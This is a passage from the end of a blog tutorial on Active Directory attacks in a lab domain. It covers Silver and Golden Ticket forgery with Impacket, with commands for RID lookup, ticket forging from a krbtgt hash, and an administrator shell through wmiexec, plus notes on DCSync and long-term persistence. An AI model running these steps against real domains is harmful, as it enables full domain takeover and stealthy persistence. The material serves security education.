[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (ELSWIXCORP\Administrator dbo@master)>
As observed, we successfully gained access to the SQL service as administrator
by forging a malicious Service Ticket. This was possible because we previously obtained the service owner's password and derived the cryptographic representation needed to sign the ticket.
Before continuing with the Golden Ticket, I want to clarify a few things. As observed, we specified administrator
at the end of the command, which seems to indicate the user we want to "impersonate." However, this parameter doesn't directly determine the impersonated user's privileges. Instead, it specifies the username that will appear in the Windows Security Logs as the owner of the Ticket. The actual privileges are controlled by the PAC (Privilege Attribute Certificate) embedded within the ticket, not the username provided in the command.
If you check the help panel of ticketer.py
, it explains the -user-id
parameter:
-user-id USER_ID user id for the user the ticket will be created for (default = 500)
By default, the value of the -user-id
parameter is set to 500
, which is the RID of the administrator
user. This RID is embedded in the PAC, and that’s why you can specify any user in the target field and still have administrator privileges. If you want to impersonate a different user, you need to specify the appropriate RID for that user. You can obtain this RID using the lookupsid.py
tool.
For example, for the user elswix
:
elswix@ubuntu$ lookupsid.py elswixcorp.local/ellie:'~smelly_ell1e~'@192.168.100.1 -domain-sids | grep elswix
1103: ELSWIXCORP\elswix (SidTypeUser)
The RID for the user elswix
is 1103
. Therefore, if you want to gain access to the SQL server with elswix
's privileges, you must specify 1103
in the -user-id
parameter when creating the Service Ticket with ticketer.py
.
Golden Ticket
The Golden Ticket attack is similar to the Silver Ticket but involves higher access privileges and broader impact. The Silver Ticket exploits Service Tickets (STs), which grant access to specific services. This attack requires knowledge of the target service's master key, such as the NT hash of the service account.
In contrast, the Golden Ticket attack abuses Ticket Granting Tickets (TGTs), which enable access to multiple services by requesting Service Tickets from the Kerberos Key Distribution Center (KDC). While the Silver Ticket is limited to a single service (because an ST is tied to a specific service), the Golden Ticket grants access to all services in the domain. This is because TGTs are used to generate STs for any requested service, effectively bypassing standard Kerberos authentication checks.
Similar to the Silver Ticket attack, creating a Golden Ticket involves generating a TGT with a malicious Privilege Attribute Certificate (PAC). This allows us to impersonate any user and gain unrestricted access to any service within the domain. However, understanding how to construct a Golden Ticket requires a clear grasp of how TGTs function within the Kerberos authentication process.
TGTs are issued by the Key Distribution Center (KDC) and play a central role in Kerberos. They serve as proof of authentication and are used to request Service Tickets (STs) for accessing specific services. Crucially, TGTs are encrypted using the KDC’s Master Key, which is derived from the NTLM hash of the krbtgt
account. This means that to create a valid malicious TGT, you must have access to the krbtgt
account credentials.
Obtaining the krbtgt
credentials is challenging due to several factors:
- Complexity: The NTLM hash of
krbtgt
is a strong cryptographic value that cannot be easily guessed or brute-forced. - Periodic Rotation: By default,
krbtgt
credentials are rotated every 180 days, making previously compromised hashes invalid over time.
However, there are scenarios where an attacker might acquire the krbtgt
credentials:
- Privileged Access: If an attacker has administrative privileges in the domain, they can perform a DCSync attack. This technique uses the replication protocol to extract the NTLM hash of
krbtgt
from the Domain Controller (DC). - Backup Exploitation: Compromising a domain backup or a memory dump from a DC may expose the
krbtgt
credentials.
Once the krbtgt
credentials are obtained, creating a Golden Ticket becomes straightforward. We can create a TGT
for the corresponding domain, embed a custom PAC with high privileges, and encrypt it for future use. Additionally, since we have the krbtgt
credentials, we can sign the PAC, ensuring that even if the PAC signature is checked (which is not common), it will pass verification because it was signed using the correct krbtgt
credentials.
Abuse
This process can be automated using the ticketer.py
script, just like we did for the Silver Ticket. However, this time we don’t need to specify an SPN or other type of service name—except for the krbtgt
SPN, which the script handles automatically.
elswix@ubuntu$ ticketer.py -nthash a88e9a174ee94f60f932fec548a84ccb -domain-sid S-1-5-21-1672168468-2738507895-2086515240 -domain elswixcorp.local administrator
Impacket v0.13.0.dev0+20241024.85237.db71504 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for elswixcorp.local/administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in administrator.ccache
Next, let's export the KRB5CCNAME
variable:
elswix@ubuntu$ export KRB5CCNAME=administrator.ccache
Finally, let's attempt to connect to a service using kerberos authentication. I'll use wmiexec.py
to verify if the TGT is valid and we can obtain a shell as administrator:
elswix@ubuntu$ wmiexec.py dc01.elswixcorp.local -k
Impacket v0.13.0.dev0+20241024.85237.db71504 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
elswixcorp.local\administrator
C:\>
Great, it worked! Now, we have administrator
access.
Using the Golden Ticket technique enables an attacker to establish long-term persistence within the domain as a highly privileged user. Uless the krbtgt
credentials are rotated, the malicious TGT remains valid indefinitely. By default, ticketer.py
sets the TGT's validity duration to 10 years, even though the krbtgt
credentials are typically rotated every 180 days. However, if the attacker continuously obtains updated krbtgt
credentials (e.g., through DCSync or another method), they can maintain long-term access. Even if other user accounts or passwords are changed, the attacker’s access remains unaffected. This makes Golden Tickets particularly dangerous for establishing stealthy and persistent control over a compromised domain.
Conclusion
In this article, we explored some of the most common attacks in Active Directory environments and demonstrated how to execute them on both Windows and Linux. Understanding these techniques not only highlights the potential vulnerabilities in AD but also emphasizes the importance of securing these environments.
Remember, the goal is always to learn and apply this knowledge responsibly. By staying informed, we can better protect our systems and networks. Thank you for following along—happy learning, and see you in the next article!
Joaquín (AKA elswix)
References
https://zer1t0.gitlab.io/posts/attacking_ad/
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#user-enumeration
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberos-authentication
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket
https://www.thehacker.recipes/ad/movement/kerberos/ptt
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key
https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/silver
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast
https://www.tarlogic.com/es/blog/como-atacar-kerberos/
https://swisskyrepo.github.io/InternalAllTheThings/active-directory/kerberos-tickets/
https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/register-a-service-principal-name-for-kerberos-connections?view=sql-server-ver16
https://github.com/fortra/impacket
https://github.com/Pennyw0rth/NetExec